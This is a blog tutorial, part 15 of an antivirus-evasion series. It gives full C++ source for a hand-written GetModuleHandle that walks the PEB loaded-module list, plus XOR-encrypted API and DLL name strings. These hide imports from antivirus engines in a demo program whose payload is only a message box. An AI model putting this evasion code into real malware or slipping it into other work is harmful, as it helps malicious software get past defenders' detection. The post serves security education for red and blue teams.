Malware AV/VM evasion - part 15: WinAPI GetModuleHandle implementation. Simple C++ example.
quality 7/10 · good
0 net
Malware AV/VM evasion - part 15: WinAPI GetModuleHandle implementation. Simple C++ example. - cocomelonc You are using an outdated browser. Please upgrade your browser to improve your experience. cocomelonc cybersec enthusiast. mathematician. author. speaker. hacker Follow Istanbul Email Twitter GitHub LinkedIn Custom Social Profile Link --> ﷽ Hello, cybersecurity enthusiasts and white hackers! This post is the result of my own research on try to evasion AV engines via another popular trick: WinAPI GetModuleHandle implementation. GetModuleHandle GetModuleHandle is a Windows API (also known as WinAPI) function that retrieves a handle to a loaded module in the address space of the calling process. It can be used to obtain identifiers for the associated executable or DLL files. The function declaration can be found in the Windows.h header file: HMODULE GetModuleHandle ( LPCWSTR lpModuleName ); When using GetModuleHandle , we don’t need to call FreeLibrary to free the module, as it only retrieves a handle to a module that is already loaded in the process. practical example. custom implementation of GetModuleHandle Creating a custom implementation of GetModuleHandle using the Process Environment Block (PEB) can help avoid antivirus (AV) detection in certain scenarios. You can use the PEB to access the loaded modules list and search for the desired module manually. Here’s a high-level outline of the steps you would take to implement a custom GetModuleHandle function using the PEB : access the PEB for the current process. locate the InMemoryOrderModuleList in the PEB ’s Ldr structure. iterate through the linked list of loaded modules. compare the base name of each module with the desired module name. if a match is found, return the base address (which acts as a handle) of the module. So, the full source code in C is looks like this: // custom implementation HMODULE myGetModuleHandle ( LPCWSTR lModuleName ) { // obtaining the offset of PPEB from the beginning of TEB PEB * pPeb = ( PEB * ) __readgsqword ( 0x60 ); // for x86 // PEB* pPeb = (PEB*)__readgsqword(0x30); // obtaining the address of the head node in a linked list // which represents all the models that are loaded into the process. PEB_LDR_DATA * Ldr = pPeb -> Ldr ; LIST_ENTRY * ModuleList = & Ldr -> InMemoryOrderModuleList ; // iterating to the next node. this will be our starting point. LIST_ENTRY * pStartListEntry = ModuleList -> Flink ; // iterating through the linked list. WCHAR mystr [ MAX_PATH ] = { 0 }; WCHAR substr [ MAX_PATH ] = { 0 }; for ( LIST_ENTRY * pListEntry = pStartListEntry ; pListEntry != ModuleList ; pListEntry = pListEntry -> Flink ) { // getting the address of current LDR_DATA_TABLE_ENTRY (which represents the DLL). LDR_DATA_TABLE_ENTRY * pEntry = ( LDR_DATA_TABLE_ENTRY * )(( BYTE * ) pListEntry - sizeof ( LIST_ENTRY )); // checking if this is the DLL we are looking for memset ( mystr , 0 , MAX_PATH * sizeof ( WCHAR )); memset ( substr , 0 , MAX_PATH * sizeof ( WCHAR )); wcscpy_s ( mystr , MAX_PATH , pEntry -> FullDllName . Buffer ); wcscpy_s ( substr , MAX_PATH , lModuleName ); if ( cmpUnicodeStr ( substr , mystr )) { // returning the DLL base address. return ( HMODULE ) pEntry -> DllBase ; } } // the needed DLL wasn't found printf ( "failed to get a handle to %s \n " , lModuleName ); return NULL ; } And add my own function for comparing Unicode strings: int cmpUnicodeStr ( WCHAR substr [], WCHAR mystr []) { _wcslwr_s ( substr , MAX_PATH ); _wcslwr_s ( mystr , MAX_PATH ); int result = 0 ; if ( StrStrW ( mystr , substr ) != NULL ) { result = 1 ; } return result ; } AV evasion example Let’s go to create a simple “malware”, just meow-meow messagebox example: /* * hack.cpp - GetModuleHandle implementation. C++ implementation * @cocomelonc * https://cocomelonc.github.io/tutorial/2023/04/08/malware-av-evasion-15.html */ #include #include #include #include #include #include #pragma comment(lib, "Shlwapi.lib") int cmpUnicodeStr ( WCHAR substr [], WCHAR mystr []) { _wcslwr_s ( substr , MAX_PATH ); _wcslwr_s ( mystr , MAX_PATH ); int result = 0 ; if ( StrStrW ( mystr , substr ) != NULL ) { result = 1 ; } return result ; } typedef UINT ( CALLBACK * fnMessageBoxA )( HWND hWnd , LPCSTR lpText , LPCSTR lpCaption , UINT uType ); // custom implementation HMODULE myGetModuleHandle ( LPCWSTR lModuleName ) { // obtaining the offset of PPEB from the beginning of TEB PEB * pPeb = ( PEB * ) __readgsqword ( 0x60 ); // for x86 // PEB* pPeb = (PEB*)__readgsqword(0x30); // obtaining the address of the head node in a linked list // which represents all the models that are loaded into the process. PEB_LDR_DATA * Ldr = pPeb -> Ldr ; LIST_ENTRY * ModuleList = & Ldr -> InMemoryOrderModuleList ; // iterating to the next node. this will be our starting point. LIST_ENTRY * pStartListEntry = ModuleList -> Flink ; // iterating through the linked list. WCHAR mystr [ MAX_PATH ] = { 0 }; WCHAR substr [ MAX_PATH ] = { 0 }; for ( LIST_ENTRY * pListEntry = pStartListEntry ; pListEntry != ModuleList ; pListEntry = pListEntry -> Flink ) { // getting the address of current LDR_DATA_TABLE_ENTRY (which represents the DLL). LDR_DATA_TABLE_ENTRY * pEntry = ( LDR_DATA_TABLE_ENTRY * )(( BYTE * ) pListEntry - sizeof ( LIST_ENTRY )); // checking if this is the DLL we are looking for memset ( mystr , 0 , MAX_PATH * sizeof ( WCHAR )); memset ( substr , 0 , MAX_PATH * sizeof ( WCHAR )); wcscpy_s ( mystr , MAX_PATH , pEntry -> FullDllName . Buffer ); wcscpy_s ( substr , MAX_PATH , lModuleName ); if ( cmpUnicodeStr ( substr , mystr )) { // returning the DLL base address. return ( HMODULE ) pEntry -> DllBase ; } } // the needed DLL wasn't found printf ( "failed to get a handle to %s \n " , lModuleName ); return NULL ; } // encrypted function name (MessageBoxA) unsigned char s_mb [] = { 0x20 , 0x1c , 0x0 , 0x6 , 0x11 , 0x2 , 0x17 , 0x31 , 0xa , 0x1b , 0x33 }; // encrypted module name (user32.dll) unsigned char s_dll [] = { 0x18 , 0xa , 0x16 , 0x7 , 0x43 , 0x57 , 0x5c , 0x17 , 0x9 , 0xf }; // key char s_key [] = "mysupersecretkey" ; // XOR decrypt void XOR ( char * data , size_t data_len , char * key , size_t key_len ) { int j ; j = 0 ; for ( int i = 0 ; i < data_len ; i ++ ) { if ( j == key_len - 1 ) j = 0 ; data [ i ] = data [ i ] ^ key [ j ]; j ++ ; } } int main ( int argc , char * argv []) { XOR (( char * ) s_dll , sizeof ( s_dll ), s_key , sizeof ( s_key )); XOR (( char * ) s_mb , sizeof ( s_mb ), s_key , sizeof ( s_key )); wchar_t wtext [ 20 ]; mbstowcs ( wtext , s_dll , strlen ( s_dll ) + 1 ); //plus null LPWSTR user_dll = wtext ; HMODULE mod = myGetModuleHandle ( user_dll ); if ( NULL == mod ) { return - 2 ; } else { printf ( "meow" ); } fnMessageBoxA myMessageBoxA = ( fnMessageBoxA ) GetProcAddress ( mod , ( LPCSTR ) s_mb ); myMessageBoxA ( NULL , "Meow-meow!" , "=^..^=" , MB_OK ); return 0 ; } As you can see, I also added XOR encryption strings (function and module names). demo Let’s go to see everything in action. First of all compile our “malware”: x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I /usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc ++ -static-libgcc -fpermissive And run at the victim’s machine ( Windows 10 x64 ): . \hack.exe As you can see, just print meow for correctness. Everything is worked perfectly =^..^= If we analyze our binary via PE-bear : or via strings : strings ./hack.exe As result, GetModuleHandle WinAPI hidden: bypass AV engines in certain scenarios. In the next post, I will look at the my own practical implementation of GetProcAddress I hope this post spreads awareness to the blue teamers of this interesting evasion technique, and adds a weapon to the red teamers arsenal. MITRE ATT&CK: T1027 AV evasion: part 1 AV evasion: part 2 GetModuleHandle source code in github This is a practical case for educational purposes only. Thanks for your time happy hacking and good bye! PS. All drawings and screenshots are mine Share on Twitter Facebook LinkedIn You may also enjoy MacOS malware persistence 9: emond (The Event Monitor Daemon). Simple C example 3 minute read ﷽ MacOS malware persistence 8: periodic scripts. Simple C example 3 minute read ﷽ MacOS hacking part 13: sysinfo stealer via VirusTotal API. Simple C example 4 minute read ﷽ MacOS malware persistence 7: Re-opened applications. Simple C example 7 minute read ﷽